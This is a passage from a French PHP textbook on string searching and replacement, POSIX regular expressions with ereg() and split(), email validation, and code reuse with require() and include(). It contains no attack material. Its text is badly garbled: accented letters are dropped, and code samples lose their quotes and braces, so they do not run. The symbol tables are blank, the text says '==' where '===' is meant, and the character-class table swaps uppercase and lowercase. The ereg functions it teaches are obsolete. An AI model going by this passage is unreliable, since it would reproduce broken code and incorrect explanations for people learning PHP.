dernire occurrence de laiguille.
Dtermination de la position dune sous-chane dans une chane :
strpos() et strrpos()
Les fonctions strpos() et strrpos() oprent de manire comparable strstr(), sauf
quelles renvoient la position numrique de laiguille dans la botte de foin au lieu
de renvoyer une sous-chane. Fait intressant, le manuel de PHP recommande prsent
dutiliser strpos() au lieu de strstr() pour vrifier la prsence dune sous-chane
dans une chane, car elle sexcute plus rapidement.
Le prototype de la fonction strpos() est le suivant :
int strpos(string botte_de_foin, string aiguille, int [offset] );

Le nombre entier renvoy par cette fonction donne la position de la premire occurrence de laiguille dans la botte de foin. Comme dhabitude, le premier caractre
occupe la position 0.
Le code qui suit affichera donc 1 dans la fentre du navigateur :
$test = "Bonjour tous";
echo strpos($test, o);

Dans ce cas, laiguille nest constitue que dun seul caractre, mais il pourrait sagir
dune chane de nimporte quelle longueur.
Le paramtre facultatif offset permet dindiquer la position partir de laquelle
commencera la recherche dans la botte de foin. La ligne de code suivante :
echo strpos($test, o, 5);

132

Partie I

Utilisation de PHP

afficherait donc 11 dans le navigateur, car PHP commencerait la recherche du caractre


"o" partir de la position 5 et ne considrerait par consquent ceux qui sont situs aux
positions 1 et 4.
La fonction strrpos() est quasiment identique la fonction strpos(), sauf quelle
retourne la position de la dernire occurrence de laiguille dans la botte de foin.
Les fonctions strpos() et strrpos() renvoient false si elles ne trouvent aucune
occurrence de laiguille dans la botte de foin. Ce comportement peut se rvler
problmatique car, dans un langage faiblement typ comme PHP, false est quivalent
0, qui dsigne galement la position du premier caractre dans une chane.
Pour viter toute confusion, utilisez loprateur == pour tester les valeurs renvoyes :
$resultat = strpos($test, B);
if ($resultat === false) {
echo "Non trouv";
} else {
echo "Trouv la position 0";
}

Substitution de sous-chanes : str_replace() et substr_replace()


La fonctionnalit de recherche/remplacement peut se rvler extrmement utile dans le
traitement des chanes. Elle permet de personnaliser les documents produits par PHP
(on peut, par exemple, utiliser une procdure de recherche/remplacement pour
remplacer <nom> par un nom de personne et <adresse> par ladresse de la personne
considre). Elle permet galement de censurer certains termes, par exemple dans le
contexte dune application de forum de discussion, voire dune application de formulaire "intelligent".
L encore, PHP offre un jeu de fonctions spcifiques pour le traitement des chanes ou
des expressions rgulires.
str replace() est la fonction de traitement de chane la plus utilise pour le remplacement.
Son prototype est le suivant :
string str_replace(string aiguille, string nouvelle_aiguille,
string botte_de_foin[, int &nombre]));

La fonction str replace() remplace dans la chane botte de foin toutes les occurrences de la sous-chane aiguille par la sous-chane nouvelle aiguille et renvoie la
nouvelle version de la botte de foin.

Chapitre 4

Manipulation de chanes et dexpressions rgulires

133

Le quatrime paramtre facultatif, nombre, contient le nombre de remplacements


effectus.
INFO
Vous pouvez passer tous les paramtres sous la forme dun tableau ; la fonction
str replace() agira de manire remarquablement intelligente. Vous pouvez passer un
tableau contenant les mots remplacer, un tableau des mots en remplacement (en correspondance avec le premier) et un tableau des chanes auxquelles appliquer ces rgles. La
fonction renverra alors un tableau des chanes modifies.

Dans le cadre de notre formulaire de courrier lectronique, par exemple, les clients
pourraient glisser des termes injurieux dans leurs messages. Nous pouvons viter aux
divers services de lentreprise de Bob dtre importuns par de tels messages en utilisant un tableau $injures contenant les mots injurieux que vous souhaitez censurer.
Voici un exemple utilisant str replace() avec un tableau :
$commentaire = str_replace($injures, "%!@*", $commentaire);

La fonction substr replace() permet de rechercher et de remplacer une sous-chane


particulire dans une chane. Son prototype est le suivant :
string substr_replace(string chane, string remplacement, int dbut, int [longueur] );

Cette fonction remplace une partie de la chane chane par la chane remplacement. Les
valeurs des paramtres dbut et longueur dfinissent la partie remplacer.
La valeur de dbut reprsente un offset (ou dcalage) partir duquel entreprendre le
remplacement dans chane. Si la valeur de dbut est positive ou nulle, loffset est dfini
partir du dbut de la chane ; si elle est ngative, loffset est dfini partir de la fin de
la chane. Par exemple, la ligne de code qui suit remplace le dernier caractre de la
chane $test par un X :
$test = substr_replace($test, X, -1);

Le paramtre longueur est facultatif et indique la position dans la chane o PHP doit
stopper le remplacement. Lorsque cet argument nest pas fourni, la chane est remplace
partir de la position dbut jusqu la fin de la chane.
Si longueur vaut zro, la chane de remplacement est insre dans chane sans craser
la chane existante.
Si longueur a une valeur positive, il indique le nombre de caractres qui doivent tre
remplacs par nouvelle chane.
Si longueur a une valeur ngative, il indique la position partir de laquelle doit sinterrompre le remplacement, compte partir de la fin de chane.

134

Partie I

Utilisation de PHP

Introduction aux expressions rgulires


PHP reconnat deux styles de syntaxe pour les expressions rgulires : POSIX et Perl.
Ces deux types sont intgrs par dfaut dans PHP et, partir de la version 5.3, les
expressions rgulires Perl (PCRE ou Perl-Compatible Regular Expression) ne peuvent
plus tre dsactives. Nous prsenterons ici le style POSIX car cest le plus simple ; si
vous connaissez dj Perl ou que vous vouliez en savoir plus sur PCRE, consultez le
manuel en ligne, publi lURL http://www.manuelphp.com/php/ref.pcre.php.
INFO
Les expressions rgulires POSIX sont dun apprentissage plus simple mais elles ne sont pas
compatibles avec les donnes binaires.

Toutes les oprations de correspondance de motifs ralises jusquici ont fait appel
aux fonctions sur les chanes, qui nous ont limits la recherche de correspondances
exactes sur des chanes ou des sous-chanes. Pour raliser des oprations de correspondance plus sophistiques, vous devez employer les expressions rgulires. Leur
apprentissage nest pas ais, mais elles sont dun secours apprciable en certaines
circonstances.
Notions de base
Une expression rgulire est un moyen de dcrire un motif dans un morceau de texte.
Les correspondances exactes (ou littrales) ralises dans les sections prcdentes
taient une forme dexpressions rgulires. Par exemple, avec "boutique" et "livraison",
nous avons effectu une recherche laide dexpressions rgulires.
En PHP, la recherche de correspondances avec des expressions rgulires sapparente
plus une recherche de correspondances avec la fonction strstr() qu une comparaison dgalit, parce quil sagit de rechercher loccurrence dune sous-chane dans une
autre chane (la sous-chane pouvant se situer nimporte o dans la chane, moins den
dfinir plus prcisment lemplacement). Par exemple, la chane " boutique" correspond lexpression rgulire "boutique", mais elle correspond galement aux expressions
rgulires "o", "ou", etc.
Outre les caractres qui se correspondent exactement, vous pouvez utiliser des caractres
spciaux pour ajouter une mtasignification un motif. Vous pouvez, par exemple, utiliser
des caractres spciaux pour indiquer que le motif recherch doit se trouver en dbut ou
la fin dune chane, quune partie du motif peut tre rpte, ou bien encore que
certains caractres du motif doivent tre dun type particulier. Vous pouvez galement

Chapitre 4

Manipulation de chanes et dexpressions rgulires

135

rechercher des occurrences littrales de caractres spciaux. Nous allons nous pencher
sur chacune de ces possibilits.
Ensembles et classes de caractres
La possibilit dutiliser des ensembles de caractres, au lieu de simples expressions
exactes, dans les expressions rgulires confre celles-ci plus de puissance pour les
oprations de recherche. Les ensembles de caractres permettent en effet de rechercher
des correspondances sur tous les caractres dun type particulier, un peu la manire
dun joker.
Tout dabord, le caractre point (.) peut servir de joker pour reprsenter nimporte quel
caractre unique, sauf le caractre de nouvelle ligne (\n). Lexpression rgulire :
.ou

permet de raliser des correspondances sur les chanes "cou", "pou" ou "sou" (entre
autres). Ce type de joker semploie souvent pour raliser des correspondances sur des
noms de fichiers dans les systmes dexploitation.
Avec les expressions rgulires, vous pouvez tre encore plus prcis sur le type du
caractre rechercher. Vous pouvez mme dfinir un ensemble de caractres auquel le
caractre recherch devra appartenir. Dans lexemple prcdent, lexpression rgulire
correspondait "cou" et "pou", mais elle pouvait galement capturer "#ou". Pour
prciser que le caractre capturer doit tre une lettre comprise entre a et z, vous
pouvez utiliser la formulation suivante :
[a-z]

La paire de crochets, [ et ], dfinit une classe de caractres, cest--dire un ensemble


de caractres auquel doit appartenir le caractre recherch. Notez que lexpression entre
les deux crochets ne permet de capturer quun seul caractre.
Vous pouvez dfinir un ensemble de caractres sous la forme dune liste, comme ici :
[aeiou]

Cette expression indique que le caractre recherch doit tre une voyelle.
Vous pouvez galement prciser une plage de caractres en utilisant des tirets, comme dans
lexpression [a z], ou un ensemble de plages de caractres, de la manire suivante :
[a-zA-Z]

Cette expression prcise que le caractre recherch doit tre une lettre majuscule ou
minuscule.
Les ensembles peuvent aussi servir indiquer que le caractre sur lequel raliser la
correspondance ne doit pas appartenir un ensemble. Par exemple :
[^a-z]

136

Partie I

Utilisation de PHP

capture tout caractre qui nest pas compris entre a et z. Laccent circonflexe plac
entre les crochets est synonyme de ngation. En dehors des crochets, il prend une autre
signification sur laquelle nous reviendrons un peu plus loin.
Outre la possibilit de dfinir vos ensembles et classes de caractres sous forme de
listes, vous disposez de plusieurs classes de caractres prdfinies, qui sont dcrites
dans le Tableau 4.3.
Tableau 4.3 : Classes de caractres utilisables dans des expressions rgulires de style
POSIX

Classe

Correspondance

[[:alnum:]]

Caractres alphanumriques

[[:alpha:]]

Caractres alphabtiques

[[:lower:]]

Lettres en majuscules

[[:upper:]]

Lettres en minuscules

[[:digit:]]

Chiffres dcimaux

[[:xdigit:]]

Chiffres hexadcimaux

[[:punct:]]

Ponctuations

[[:blank:]]

Tabulations et espaces

[[:space:]]

Espaces

[[:cntrl:]]

Caractres de contrle

[[:print:]]

Tous les caractres affichables

[[:graph:]]

Tous les caractres affichables, sauf le caractre espace

Rptition
Lors dune recherche, il arrive frquemment quil soit ncessaire dindiquer que le
motif recherch peut tre une chane particulire ou une classe de caractres rpte
plusieurs fois. Pour reprsenter une telle rptition, il suffit dutiliser deux caractres
spciaux dans lexpression rgulire. Le symbole * indique que le motif peut tre rpt
zro ou plusieurs fois, tandis que le symbole + indique que le motif peut tre rpt une
ou plusieurs fois. Le symbole doit tre spcifi directement aprs la partie de lexpression
laquelle il sapplique. Par exemple :
[[:alnum:]]+

signifie "au moins un caractre alphanumrique".

Chapitre 4

Manipulation de chanes et dexpressions rgulires

137

Sous-expressions
Il est souvent trs utile de pouvoir dcouper une expression en sous-expressions, pour,
par exemple, signifier "au moins une de ces chanes suivie par exactement une autre".
Lusage de parenthses permet de dcouper une expression rgulire, exactement
comme les expressions arithmtiques. Par exemple :
(trs )*grand

correspond "grand", "trs grand", trs trs grand", et ainsi de suite.


Dnombrement de sous-expressions
Vous pouvez indiquer le nombre de rptitions dune sous-expression au moyen dune
expression numrique place entre accolades ({}). Vous avez ainsi la possibilit dindiquer un nombre dtermin de rptitions ({3}), une plage de rptitions ({2, 4} signifie
de 2 4 rptitions), ou bien encore une plage de rptition ouverte ( {2,} signifie au
moins deux rptitions).
Par exemple :
(trs ){1, 3}

correspond "trs ", "trs trs " et "trs trs trs ".
Ancrage au dbut ou la fin dune chane
Le motif [a z] capturera nimporte quelle chane contenant un caractre alphabtique
en minuscule. Peu importe que la chane fasse un caractre de long ou contienne un
unique caractre correspondant dans une chane plus longue.
Vous pouvez prciser quune sous-expression particulire doit apparatre en dbut et/ou
la fin de la chane explore. Cette possibilit se rvle prcieuse pour sassurer que
seule lexpression recherche, et aucune autre, napparatra dans la chane trouve.
Le symbole accent circonflexe (^) sutilise en dbut dexpression rgulire pour indiquer que le motif recherch doit figurer au dbut de la chane explore. Inversement, le
symbole $ sutilise en fin dexpression rgulire pour indiquer que le motif recherch
doit figurer la fin de la chane explore.
Par exemple, lexpression rgulire :
^bob

capture bob en dbut dune chane, tandis que :


com$

capture com la fin dune chane.

138

Partie I

Utilisation de PHP

Enfin, lexpression :
^[a-z]$

correspond nimporte quelle chane contenant uniquement un caractre compris entre


a et z.
Branchement
Pour reprsenter un choix dans une expression rgulire, utilisez une barre verticale ( |).
Pour, par exemple, rechercher com, edu ou net, nous pouvons utiliser lexpression :
(com)|(edu)|(net)

Recherche littrale de caractres spciaux


Pour rechercher un des caractres spciaux mentionns dans les prcdentes sections,
tels que ., {, ou $, vous devez le faire prcder dune barre oblique inverse (\). Pour
reprsenter littralement une barre oblique inverse, vous devez donc la doubler ( \\).
Veillez placer vos motifs dexpression rgulire dans des chanes entre apostrophes simples car lutilisation dapostrophes doubles entrane des complications
inutiles.
En effet, rappelez-vous que, pour reprsenter une barre oblique inverse dans une
chane entre apostrophes doubles, vous devez utiliser deux barres obliques inverses.
Une chane PHP entre apostrophes doubles qui reprsente une expression rgulire
contenant une barre oblique inverse littrale ncessitera donc quatre barres obliques
inverses. PHP analysera ces quatre barres obliques inverses comme sil sagissait de
deux barres obliques inverses. Puis linterprteur dexpressions rgulires analysera
son tour les deux barres obliques inverses comme sil sagissait dune seule barre oblique
inverse.
Le signe dollar est galement un caractre spcial la fois dans les chanes PHP entre
apostrophes doubles et dans les expressions rgulires. Pour capturer un $ littral avec
un motif, vous devez utiliser la squence "\\\$". Cette chane se trouvant entre guillemets, PHP lanalysera comme correspondant \$, que linterprteur dexpression rgulire interprtera ensuite comme un simple signe dollar.
Rcapitulatif sur les caractres spciaux
Les Tableaux 4.4 et 4.5 prsentent un rcapitulatif des caractres spciaux. Le
Tableau 4.4 donne la signification des caractres spciaux, utiliss en dehors de paires
de crochets. Le Tableau 4.5 donne la signification des caractres spciaux lorsque ceuxci sont placs entre crochets.

Chapitre 4

Manipulation de chanes et dexpressions rgulires

139

Tableau 4.4 : Rcapitulatif des caractres spciaux utiliss dans des expressions rgulires
POSIX, en dehors des crochets

Caractre

Signification

Caractre de protection

Correspondance en dbut de chane

Correspondance en fin de chane

Correspond tout caractre, sauf le caractre de nouvelle ligne (\n)

Dbut dun autre choix (se lit comme OU)

Dbut dun sous-motif

Fin dun sous-motif

Rptition 0 ou plusieurs fois

Rptition 1 ou plusieurs fois

Dbut dun quantificateur min/max

Fin dun quantificateur min/max

Marque un sous-motif comme tant facultatif

Tableau 4.5 : Rcapitulatif sur les caractres spciaux utiliss dans des expressions
rgulires POSIX, entre crochets

Caractre

Signification

Caractre de protection

NON, seulement lorsquil est utilis en position initiale


Utilis pour spcifier des plages de caractres

Application au cas du formulaire "intelligent" de courrier lectronique


Dans le cadre de notre formulaire de courrier lectronique, nous pouvons envisager au
moins deux usages possibles des expressions rgulires. Nous pourrions tout dabord y
avoir recours pour amliorer le dispositif prcdemment propos pour la dtection de
termes particuliers dans les messages envoys par les clients. En utilisant une fonction
de traitement des chanes, comme nous lavons dj suggr, il nous faudrait effectuer
trois recherches diffrentes pour tester la prsence des expressions " boutique",
"service client" et "ventes" alors que toutes les trois peuvent tre captures par une
seule expression rgulire :
boutique|service client|ventes

140

Partie I

Utilisation de PHP

La seconde utilisation envisageable est la validation des adresses de courrier lectronique des clients. Il faut pour cela coder le format standard dune adresse de courrier lectronique dans une expression rgulire. Le codage de ce format doit reprsenter la
squence suivante : des caractres alphanumriques et de ponctuation, suivis par un
symbole @, puis par des caractres alphanumriques et des tirets, suivis par un point,
puis par plusieurs caractres alphanumriques et des tirets et, ventuellement, plusieurs
points, jusqu la fin de la chane. Concrtement, ce format pourrait tre cod de la
manire suivante :
^[a-zA-Z0-9_\-\.]+@[a-zA-Z0-9\-]+\.[a-zA-Z0-9\-\.]+$

La sous-expression ^[a zA Z0 9 \ \.]+ signifie "la chane doit commencer par une
lettre, un nombre, un blanc soulign, un tiret, un point ou toute combinaison de ces
caractres". Notez que, lorsquun point est utilis au dbut ou la fin dune classe de
caractres, il perd sa signification spciale de caractre de remplacement et devient un
simple point littral.
Le symbole @ reprsente un caractre @ littral.
La sous-expression [a zA Z0 9\ ]+ dcrit la premire partie du nom dhte. Celle-ci
doit tre compose de caractres alphanumriques et de tirets. Notez que le tiret, qui est
un caractre spcial, est prcd ici dune barre oblique inverse parce quil est plac
entre crochets.
La combinaison \. reprsente un point littral (.). Nous utilisons un point en dehors des
classes de caractres, aussi devons-nous le protger pour ne dfinir de correspondance
quavec un point littral.
La sous-expression [a zA Z0 9\ \.]+$ reprsente le reste dun nom de domaine. Cette
partie peut tre compose de lettres, de nombres, de tirets et de plusieurs points si
ncessaire, jusqu la fin de la chane.
Une analyse un tant soit peu pousse montrerait que certaines adresses de courrier lectronique non valides pourraient tre dcrites par cette expression rgulire. Il est presque impossible de dresser la liste de toutes ces adresses mais notre code en limine
quand mme un bon nombre. Notre expression peut tre encore affine de nombreuses
manires. Il est par exemple possible de lister tous les TLD valides. Soyez tout de
mme prudent avant dtre trop restrictif, car une fonction de validation qui rejette 1 %
de donnes valides procure plus dennuis quune autre qui accepte 10 % de donnes
non valides.
Maintenant que nous avons dfini la notion dexpression rgulire, nous allons passer
en revue les fonctions PHP qui permettent de les utiliser.

Chapitre 4

Manipulation de chanes et dexpressions rgulires

141

Recherche de sous-chanes au moyen dexpressions rgulires


La recherche de sous-chanes est la principale application des expressions rgulires
dcrites dans les sections prcdentes. Les deux fonctions de PHP pour rechercher des
expressions rgulires POSIX sappellent ereg() et eregi().
Le prototype de la fonction ereg() est le suivant :
int ereg(string motif, string chane, array [rsultat]);

La fonction ereg() parcourt chane afin dy rechercher des occurrences de lexpression rgulire motif. Les sous-chanes ainsi dtectes sont enregistres dans le tableau
rsultat raison dune sous-expression par lment du tableau.
La fonction eregi() est identique la fonction ereg(), sauf quelle nest pas sensible
la casse.
Notre formulaire de courrier lectronique peut tre modifi en y introduisant des
expressions rgulires :
if (!eregi(^[a-zA-Z0-9_\-\.]+@[a-zA-Z0-9\-]+\.[a-zA-Z0-9\-\.]+$, $email))
{
echo "<p>Ceci nest pas une adresse email correcte.</p>" .
"<p>Revenez la page prcdente et ressayez.</p>";
exit;
}
$adresse_dest = "commentaires@exemple.com; // Adresse par dfaut
if (eregi(boutique|service client|ventes, $commentaire)) {
$adresse_dest = "ventes@exemple.com";
} else if (eregi(livraison|traitement, $commentaire))
$adresse_dest = traitements@exemple.com";
} else if (eregi(facture|compte, $commentaire))
$adresse_dest = "comptes@exemple.com";
}
if (eregi(grosclient\.com, $email))
$adresse_dest = "bob@exemple.com";
}

Remplacement de sous-chanes au moyen dexpressions rgulires


Vous pouvez galement utiliser des expressions rgulires pour rechercher et remplacer
des sous-chanes, tout comme nous lavons dj fait au moyen de la fonction
str replace. Les deux fonctions PHP ddies ce type dopration de recherche/
remplacement sont ereg replace() et eregi replace(). Le prototype de la fonction
ereg replace() est le suivant :
string ereg_replace(string motif, string remplacement, string chane);

Cette fonction cherche dans chane les occurrences de lexpression rgulire motif et
les remplace par la chane remplacement.

142

Partie I

Utilisation de PHP

La fonction eregi replace() est identique la fonction ereg replace(), sauf quelle
nest pas sensible la casse.
Dcoupage de chanes au moyen dexpressions rgulires
La fonction split() est une autre fonction de traitement dexpression rgulire trs
utile. Son prototype est le suivant :
array split(string motif, string chane, int [max]);

Cette fonction dcoupe chane en sous-chanes au niveau des sous-chanes correspondant lexpression rgulire motif. Elle renvoie les sous-chanes obtenues sous la
forme dun tableau. Le paramtre entier max limite le nombre dlments qui peuvent
tre contenus dans le tableau.
Par exemple, la fonction split() pourrait tre mise en uvre pour dcomposer les
adresses e-mail, les noms de domaine ou les dates :
$adresse = "utilisateur@exemple.com";
$tab = split (\.|@, $adresse);
while (list($cle, $valeur) = each ($tab)) {
echo "<br />" . $valeur;
}

Ce code dcompose ladresse en ses cinq composantes et affiche chacune delles sur
une ligne spare :
utilisateur
@
exemple
.
com

INFO
En gnral, les fonctions des expressions rgulires sexcutent moins vite que les fonctions
quivalentes sur les chanes. Si votre traitement est suffisamment simple pour se contenter
dune fonction sur les chanes, nhsitez pas. Cela peut ne plus tre vrai si le traitement peut
tre ralis par une seule expression rgulire, mais par plusieurs fonctions sur les chanes.

Pour aller plus loin


PHP compte de nombreuses fonctions sur les chanes. Nous navons ici abord que les
plus utiles mais, si vous avez un besoin particulier (la conversion de caractres latins
dans lalphabet cyrillique, par exemple), consultez le manuel en ligne afin de voir si le
PHP dispose de la fonction recherche.

Chapitre 4

Manipulation de chanes et dexpressions rgulires

143

La littrature et les ressources consacres aux expressions rgulires sont innombrables. Si vous utilisez Unix, vous pouvez commencer par la page man intitule regexp.
Vous trouverez galement des articles prcieux sur les sites devshed.com et phpbuilder.com.
Le site web de Zend propose une fonction de validation des courriers lectroniques plus
complexe et plus puissante que celle dveloppe dans le cadre de notre exemple. Cette
fonction sappelle MailVal() ; elle est disponible lURL http://www.zend.com/
codex.php?id=88&single=1.
Vous aurez besoin dun peu de pratique pour bien exploiter les expressions rgulires.
Plus vous vous exercerez dans le domaine et mieux vous saurez les manier.

Pour la suite
Nous tudierons au prochain chapitre plusieurs manires dutiliser PHP pour conomiser du temps et des efforts de programmation et empcher la redondance en rutilisant
du code prexistant.

5
Rutilisation de code
et criture de fonctions
Ce chapitre explique comment rutiliser du code pour dvelopper des applications plus
cohrentes, plus fiables et plus faciles grer, avec moins defforts. Nous examinerons
des techniques de modularisation et de rutilisation du code, en commenant par la
simple mise en uvre des fonctions require() et include() pour utiliser le mme
code dans plusieurs pages. Nous expliquerons pourquoi cette technique est meilleure
que les inclusions ct serveur. Lexemple donn expliquera comment utiliser des
fichiers include afin dobtenir une apparence cohrente sur tout un site web.
Nous montrerons galement comment crire et appeler ses propres fonctions en prenant
titre dexemple des fonctions gnrant des pages et des formulaires.

Avantages de la rutilisation du code


Lun des buts recherchs par les dveloppeurs consiste rutiliser du code au lieu den
crire du nouveau. Non pas quils soient particulirement paresseux, mais la rutilisation de code existant tend rduire les cots, augmenter la fiabilit des programmes et
amliorer leur cohrence. Dans lidal, un nouveau projet devrait tre conduit en
combinant des composants logiciels rutilisables existants, avec un minimum de nouveau
dveloppement.
Cot
Sur la dure de vie dun composant logiciel, le temps pass sa maintenance, sa
modification, son test et sa documentation excde largement le temps initialement
consacr son dveloppement. Concernant le code commercial, il est fortement recommand de limiter le nombre de lignes de code en usage au sein dune entreprise.

146

Partie I

Utilisation de PHP

Une des meilleures mthodes pour observer cette recommandation consiste rutiliser
du code dj existant au lieu dcrire une version lgrement diffrente dun morceau
de code existant pour accomplir une nouvelle tche. Une rduction du volume du code
se traduit directement par une rduction des cots. Sil existe sur le march un logiciel
rpondant aux objectifs dun nouveau projet, achetez-le. Le prix des logiciels existants
est presque toujours infrieur au cot de dveloppement dun projet quivalent. Si un
programme existant correspond "presque" vos besoins, vous devrez toutefois examiner soigneusement les modifications qui devront lui tre apportes, car modifier du
code existant peut tre plus difficile qucrire du nouveau code.
Fiabilit
Lorsquun module de code est utilis au sein dune entreprise, cest gnralement aprs
avoir fait lobjet de tests srieux. Mme si un composant logiciel ne requiert que quelques lignes de code, vous courez le risque, en le rcrivant, doublier un point pris en
compte par lauteur du composant existant ou de ngliger une correction apporte au
code dorigine aprs que les tests ont mis en vidence un dfaut. Le code mature, existant,
est gnralement plus fiable que le code encore "vert".
Cohrence
Les interfaces externes vers votre systme, y compris les interfaces utilisateur et les
interfaces vers des systmes externes, doivent tre cohrentes. Il faut de lopinitret et
des efforts dlibrs pour crire du nouveau code qui reste cohrent avec les autres
parties du systme. En revanche, si vous rutilisez du code dj en service dans une
autre partie du systme, vous avez toutes les chances pour que la fonctionnalit obtenue
soit automatiquement cohrente.
Un avantage essentiel de la rutilisation du code est quelle minimise la charge de
travail du dveloppeur, mais condition que le code dorigine soit modulaire et bien
crit. Lorsque vous programmez, faites en sorte didentifier les sections de votre code
susceptibles de servir ultrieurement dans dautres applications.

Utilisation des instructions require() et include()


PHP offre deux instructions trs simples et nanmoins trs utiles qui permettent de
rutiliser tout type de code. Par le biais dune instruction require() ou include(),
vous pouvez charger un fichier dans un script PHP. Le fichier ainsi charg peut contenir
tout ce qui pourrait normalement tre inclus dans un script, y compris des instructions
PHP, du texte, des balises HTML, des fonctions PHP ou des classes PHP.
Les instructions require() et include() fonctionnent la manire des inclusions ct
serveur offertes par de nombreux serveurs web et des instructions #include des langages C
et C++.

Chapitre 5

Rutilisation de code et criture de fonctions

147

Ces deux instructions sont quasiment identiques. La seule diffrence est que require()
provoque une erreur fatale lorsquelle choue, alors que include() ne produit quun
message davertissement.
require once() et include once() sont des variantes de require() et include().
Leur but consiste sassurer quun fichier inclus ne le sera quune seule fois, ce qui
devient particulirement utile lorsque lon utilise require() et include() pour inclure
des bibliothques de fonctions. Lutilisation de ces deux variantes vous empche alors
dinclure accidentellement la mme bibliothque deux fois, ce qui provoquerait la
redfinition de ses fonctions et donc une erreur. Si vous tes suffisamment rigoureux,
vous avez tout intrt prfrer require() ou include() car elles sexcutent plus
rapidement.

Extensions des noms de fichiers et require()


Supposons que le code suivant soit stock dans le fichier reutilisable.php :
<?
echo "Ceci est une instruction PHP trs simple.<br />";
?>

et que le fichier principal.php ait le contenu suivant :


<?
echo "Ceci est le fichier principal.<br />";
require( reutilisable.php );
echo "Fin du script.<br />";
?>

Si vous chargez directement reutilisable.php dans votre navigateur web, vous ne serez
pas surpris de le voir afficher la phrase Ceci est une instruction PHP trs simple. En
revanche, le chargement de principal.php a un effet un peu plus inattendu. Le rsultat
obtenu est montr la Figure 5.1.
Figure 5.1
Le chargement du fichier
principal.php fait apparatre
le rsultat de linstruction
require().

Une instruction require() exige un fichier. Dans lexemple prcdent, nous avons
utilis le fichier appel reutilisable.php. lexcution du script, linstruction
require() :
require( reutilisable.php );

148

Partie I

Utilisation de PHP

est remplace par le contenu du fichier indiqu, puis le script contenu dans ce dernier
est alors excut. Lexcution qui sopre au chargement du fichier principal.php est
donc quivalente lexcution du script suivant :
<?
echo "Ceci est le fichier principal.<br />";
echo "Ceci est une instruction PHP trs simple.<br />";
echo "Fin du script.<br />";
?>

Pour bien utiliser linstruction require(), vous devez connatre la manire dont sont
traites les extensions des noms de fichier et les balises PHP.
PHP ignore lextension du nom du fichier qui est charg au moyen de la fonction
require(). Par consquent, vous pouvez donner ce fichier le nom qui vous convient
du moment que vous ne comptez pas lappeler directement. Lorsque le fichier est
charg par require(), celui-ci devient partie intgrante dun fichier PHP et est excut
en tant que tel.
Gnralement, des instructions PHP contenues dans un fichier appel, par exemple,
page.html ne seront pas traites. PHP ne traite normalement que les fichiers dont les
noms portent des extensions dfinies, comme .php (ce comportement peut tre modifi
dans le fichier de configuration de votre serveur web). Toutefois, si le fichier page.html
est charg via la fonction require(), toute instruction PHP contenue dans ce fichier
sera traite PHP. Par consquent, vous pouvez choisir nimporte quelle extension pour
les fichiers inclure via require(). Il est toutefois recommand de sen tenir une
convention logique pour le choix des noms de fichier (par exemple en adoptant systmatiquement lextension .inc ou .php pour tous les fichiers inclure).
Attention : lorsque des fichiers portant une extension non standard, telle que .inc, sont
stocks dans larborescence des documents du serveur, les utilisateurs qui les chargent
directement dans leur navigateur pourront visualiser leur contenu en texte clair, y
compris les mots de passe qui y sont ventuellement contenus ! Par consquent, il est
important de conserver ce type de fichier en dehors de larborescence des documents ou
bien alors demployer des extensions standard.
INFO
Dans lexemple considr plus haut, le fichier rutilisable reutilisable.php avait le contenu
suivant :
<?
echo "Ceci est une instruction PHP trs simple.<br />";
?>

Le code PHP de ce fichier est encadr par des balises PHP, ce qui est indispensable pour que
le code dun fichier charg via require() soit trait par linterprteur PHP. En labsence de
ces balises, le code sera considr comme du texte ou du code HTML et ne sera pas excut.

Chapitre 5

Rutilisation de code et criture de fonctions

149

Utilisation require() pour crer des modles de site web


Si les pages de votre site web doivent avoir une prsentation et un style cohrents, vous
pouvez utiliser require() pour ajouter un modle et des lments standard toutes les
pages.
Par exemple, considrons le cas dune entreprise fictive, appele TLA Consulting, dont
le site contient tout un jeu de pages ressemblant celle de la Figure 5.2. Lorsquune
nouvelle page doit tre ajoute au site, le dveloppeur peut ouvrir une page existante,
effacer le texte contenu dans le milieu du fichier, entrer un nouveau texte, puis enregistrer
le fichier sous un nouveau nom.

Figure 5.2
Lentreprise TLA utilise une prsentation homogne pour toutes les pages de son site web.

Considrez le scnario suivant : le site web est en service depuis un certain temps dj
et contient prsent des centaines, voire des milliers de pages, toutes construites sur le
mme style. Supposez quil soit dcid de procder une modification de lapparence
standard, mme mineure, comme lajout dune adresse de courrier lectronique en bas
de chaque page ou dune nouvelle entre dans le menu de navigation. Voulez-vous vous
trouver dans la situation de devoir modifier des centaines, voire des milliers de pages ?
La rutilisation des sections HTML communes toutes les pages est de loin prfrable
des oprations de couper/coller reproduire sur des centaines ou des milliers
de pages. Le code source de la page daccueil montre la Figure 5.2 est prsent dans
le Listing 5.1.

150

Partie I

Utilisation de PHP

Listing 5.1 : accueil.html Le code HTML de la page daccueil du site TLA Consulting
<html>
<head>
<title>TLA Consulting</title>
<style type="text/css">
h1 {color:white; font-size:24pt; text-align:center;
font-family:arial,sans-serif}
.menu {color:white; font-size:12pt; text-align:center;
font-family:arial,sans-serif; font-weight:bold}
td {background:black}
p {color:black; font-size:12pt; text-align:justify;
font-family:arial,sans-serif}
p.foot {color:white; font-size:9pt; text-align:center;
font-family:arial,sans-serif; font-weight:bold}
a:link,a:visited,a:active {color:white}
</style>
</head>
<body>
<!-- Entte de page -->
<table width="100%" cellpadding="12" cellspacing="0" border="0">
<tr bgcolor="black">
<td align="left"><img src="logo.gif" alt="Logo TLA" height="70"
width="70"></td>
<td>
<h1>TLA Consulting</h1>
</td>
<td align="right"><img src="logo.gif" alt="Logo TLA" height="70"
width="70"></td>
</tr>
</table>
<!-- Menu -->
<table width="100%" bgcolor="white" cellpadding="4" cellspacing="4">
<tr >
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Accueil</span></td>
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Contacts</span></td>
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Services</span></td>
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Carte du site</span></td>
</tr>
</table>
<!-- Contenu de la page -->
<p>Bienvenue sur le site de TLA Consulting.
Prenez le temps de nous connatre.</p>
<p>Nous sommes spcialiss dans laide aux dcisions et
nous esprons que vous ferez bientt appel nous.</p>

Chapitre 5

Rutilisation de code et criture de fonctions

151

<!-- Pied de page -->


<table width="100%" bgcolor="black" cellpadding="12" border="0">
<tr>
<td>
<p class="foot">&copy; TLA Consulting</p>
<p class="foot">Consultez la page sur nos
<a href="legal.php">informations lgales</a></p>
</td>
</tr>
</table>
</body>
